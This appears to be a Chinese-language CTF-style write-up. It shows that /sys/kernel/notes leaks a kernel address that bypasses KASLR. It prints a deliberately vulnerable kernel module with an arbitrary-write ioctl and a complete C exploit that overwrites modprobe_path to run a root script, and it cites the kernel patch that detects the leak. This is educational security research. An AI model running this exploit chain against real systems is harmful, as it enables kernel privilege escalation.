通常我们对内核的攻击都是基于知道内核各种地址的前提下进行的,为了加大攻击内核的难度, kaslr 由此而生,但内核会很容易泄露有关其位置的信息,如大量内核代码乐于在 printk() 调用中打印出内核指针值。
在 大量工作 之后,通过修复内核代码来使用针对指针的特殊格式化指令,并在未设置 kptr_restrict 的情况下拒绝将实际指针值输出到日志中,从而基本解决了这个问题。根据需要还修改了各种 /procsysfs 文件。随着时间的推移,要想了解特定系统上的内核位置就变得更加困难了,但依然有漏网之鱼可以为我们提供内核的基址
这里的主角是 /sys/kernel/notes ,在谷歌上找到的十分简略的描述:

1
2
3
4
5
What:		/sys/kernel/notes
Date: July 2009
Contact: <linux-kernel@vger.kernel.org>
Description: The /sys/kernel/notes file contains the binary representation
of the running vmlinux's .notes section.

该部分是包含内核映像的 ELF 文件的一部分,包含有关映像本身的有用信息;任何内核代码都可以使用 ELFNOTE() 宏将数据添加到此部分。
接下来直接进入实践,环境来自一个 ret2hbpdemo

启动内核后输入 hexdump -C /sys/kernel/notes

可以看到这里确实有我们想要的内核地址,为了验证这个地址是否正确,我决定用这个地址来求解这一道题目
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include "linux/printk.h"
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_AUTHOR("veritas");
MODULE_LICENSE("Dual BSD/GPL");

static long vuln_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
struct {
uint64_t addr;
uint64_t val;
} u;

long ret = 0;
if (copy_from_user(&u, (void *)arg, sizeof(u))) {
return -1;
}

// write anything anywhere
// pr_err("Arb Write [0x%016llx] = 0x%016llx\n", u.addr, u.val);
*(uint64_t *)(u.addr) = u.val;

return ret;
}

static struct file_operations vuln_fops = {.owner = THIS_MODULE,
.open = NULL,
.release = NULL,
.read = NULL,
.write = NULL,
.unlocked_ioctl = vuln_ioctl};

static struct miscdevice vuln_miscdev = {
.minor = MISC_DYNAMIC_MINOR, .name = "vuln", .fops = &vuln_fops};

static int __init vuln_init(void) {
pr_info("vuln: module init.\n");
misc_register(&vuln_miscdev);
return 0;
}

static void __exit vuln_exit(void) {
pr_info("vuln: module exit.\n");
misc_deregister(&vuln_miscdev);
}

module_init(vuln_init);
module_exit(vuln_exit);

可以看到我们有无数次任意地址写 8 字节的机会,假设上面泄露出来的地址是正确的,我们可以通过修改 modprobe_path 来获取 flag
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>

size_t modprobe_path = 0xffffffff82e8b920;

struct node{
size_t addr;
size_t vul;
};
struct node vuln;

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
void arb_write(size_t addr, size_t vul){
struct node thisNote;
thisNote.addr = addr;
thisNote.vul = vul;
ioctl(fd, 0, &thisNote);
}

int main(int argc, char** argv, char** env)
{
size_t leak, kernel_base;
char data[0x200];

bind_core(0);

fd = open("/dev/vuln",O_RDONLY);
if (fd < 0){
err_exit("open device failed!");
}

int note_fd = open("/sys/kernel/notes", O_RDONLY);
read(note_fd, data, 0x100);
binary_dump("/sys/kernel/notes", data, 0x100);

memcpy(&leak, &data[0x84], 8);
hexx("leak", leak);
kernel_base = leak - 0x22961c0;
hexx("kernel_base", kernel_base);
size_t kernel_offset = kernel_base - 0xffffffff81000000;
hexx("kernel_offset", kernel_offset);

modprobe_path += kernel_offset;

arb_write(modprobe_path, 0x7465672f706d742f);
arb_write(modprobe_path + 8, 0x6c6c656873);

puts("# make fake file magic not found");
system("echo '#!/bin/sh\nchmod 777 /flag'>/tmp/getshell");
system("chmod +x /tmp/getshell");

system("echo -e '\\xff\\xff\\xff\\xff'>/tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");

puts("# get flag");
int flag_fd = open("/flag",O_RDONLY);
if (flag_fd < 0){
err_exit("open flag failed!");
}
read(flag_fd, data, 0x30);
printf("[*] flag is %s\n",data);

return 0;
}

结果如下:

显然泄露出来的内核地址是可用的。通过调试发现泄露出来的是 startup_xen 的地址

1
2
3
4
5
6
7
8
9
10
11
#ifdef CONFIG_XEN_PV
ELFNOTE(Xen, XEN_ELFNOTE_VIRT_BASE, _ASM_PTR __START_KERNEL_map)
/* Map the p2m table to a 512GB-aligned user address. */
ELFNOTE(Xen, XEN_ELFNOTE_INIT_P2M, .quad (PUD_SIZE * PTRS_PER_PUD))
ELFNOTE(Xen, XEN_ELFNOTE_ENTRY, _ASM_PTR startup_xen)
ELFNOTE(Xen, XEN_ELFNOTE_FEATURES, .ascii "!writable_page_tables")
ELFNOTE(Xen, XEN_ELFNOTE_PAE_MODE, .asciz "yes")
ELFNOTE(Xen, XEN_ELFNOTE_L1_MFN_VALID,
.quad _PAGE_PRESENT; .quad _PAGE_PRESENT)
ELFNOTE(Xen, XEN_ELFNOTE_MOD_START_PFN, .long 1)
ELFNOTE(Xen, XEN_ELFNOTE_PADDR_OFFSET, _ASM_PTR 0)

然而 Cook 发布了 leaking_addresses.pl 的补丁。它可以读取内核符号文件(例如 /proc/kallsyms ),并查看与这些符号关联的地址是否出现在 /sys/kernel/notes 这样的二进制文件中。有了此更改之后, leaking_addresses.pl 就会发现这种长期存在的内核地址泄露,但我感觉还是会有漏网之鱼(笑

reference:
https://lore.kernel.org/all/202402180028.6DB512C50@keescook/
https://lwn.net/Articles/962782/